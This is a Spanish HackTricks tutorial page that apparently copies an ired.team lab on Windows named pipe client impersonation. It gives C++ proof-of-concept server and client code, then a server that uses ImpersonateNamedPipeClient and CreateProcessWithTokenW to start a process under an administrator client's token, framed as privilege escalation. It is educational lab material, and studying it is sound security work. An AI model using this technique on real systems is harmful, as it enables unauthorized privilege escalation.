8.2 KiB
Impersonación del Cliente de Named Pipe
Impersonación del Cliente de Named Pipe
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de HackTricks y HackTricks Cloud.
Esta información fue copiada de https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
Visión General
Un pipe
es un bloque de memoria compartida que los procesos pueden usar para comunicarse e intercambiar datos.
Named Pipes
es un mecanismo de Windows que permite a dos procesos no relacionados intercambiar datos entre sí, incluso si los procesos se encuentran en dos redes diferentes. Es muy similar a la arquitectura cliente/servidor ya que existen conceptos como un servidor de named pipe
y un cliente de named pipe
.
Un servidor de named pipe puede abrir un named pipe con algún nombre predefinido y luego un cliente de named pipe puede conectarse a ese pipe mediante el nombre conocido. Una vez que se establece la conexión, puede comenzar el intercambio de datos.
Este laboratorio se ocupa de un código PoC simple que permite:
- crear un servidor de named pipe tonto de un solo hilo que aceptará una conexión de cliente
- servidor de named pipe para escribir un mensaje simple en el named pipe para que el cliente de pipe pueda leerlo
Código
A continuación se muestra el PoC tanto para el servidor como para el cliente:
{% tabs %} {% tab title="namedPipeServer.cpp" %}
#include "pch.h"
#include <Windows.h>
#include <iostream>
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
return 0;
}
{% endtab %}
{% tab title="namedPipeClient.cpp" %}
#include "pch.h"
#include <iostream>
#include <Windows.h>
const int MESSAGE_SIZE = 512;
int main()
{
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
HANDLE clientPipe = NULL;
BOOL isPipeRead = true;
wchar_t message[MESSAGE_SIZE] = { 0 };
DWORD bytesRead = 0;
std::wcout << "Connecting to " << pipeName << std::endl;
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
while (isPipeRead) {
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
std::wcout << "Received message: " << message;
}
return 0;
}
{% endtab %} {% endtabs %}
Ejecución
A continuación se muestra el servidor de tubería con nombre y el cliente de tubería con nombre funcionando como se espera:
Vale la pena mencionar que la comunicación de tuberías con nombre por defecto utiliza el protocolo SMB:
Comprobando cómo el proceso mantiene un handle a nuestra tubería con nombre mantvydas-first-pipe
:
De manera similar, podemos ver al cliente teniendo un handle abierto a la tubería con nombre:
Incluso podemos ver nuestra tubería con powershell:
((Get-ChildItem \\.\pipe\).name)[-1..-5]
## Suplantación de Token
{% hint style="info" %}
Ten en cuenta que para suplantar el token del proceso cliente necesitas tener (el proceso servidor que crea el pipe) el privilegio de token **`SeImpersonate`**.
{% endhint %}
Es posible que el servidor de named pipe suplante el contexto de seguridad del cliente de named pipe aprovechando una llamada a la API `ImpersonateNamedPipeClient` que a su vez cambia el token del hilo actual del servidor de named pipe por el del token del cliente de named pipe.
Podemos actualizar el código del servidor de named pipe de esta manera para lograr la suplantación - observa que las modificaciones se ven en la línea 25 y siguientes:
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
std::wcout << "Impersonating the client..." << std::endl;
ImpersonateNamedPipeClient(serverPipe);
err = GetLastError();
STARTUPINFO si = {};
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
PROCESS_INFORMATION pi = {};
HANDLE threadToken = GetCurrentThreadToken();
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
return 0;
}
Ejecutando el servidor y conectándonos a él con el cliente que se ejecuta bajo el contexto de seguridad de administrator@offense.local, podemos ver que el hilo principal del servidor de tubería con nombre asumió el token del cliente de tubería con nombre - offense\administrator, aunque el PipeServer.exe en sí se está ejecutando bajo el contexto de seguridad de ws01\mantvydas. ¿Suena como una buena manera de escalar privilegios?
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras maneras de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.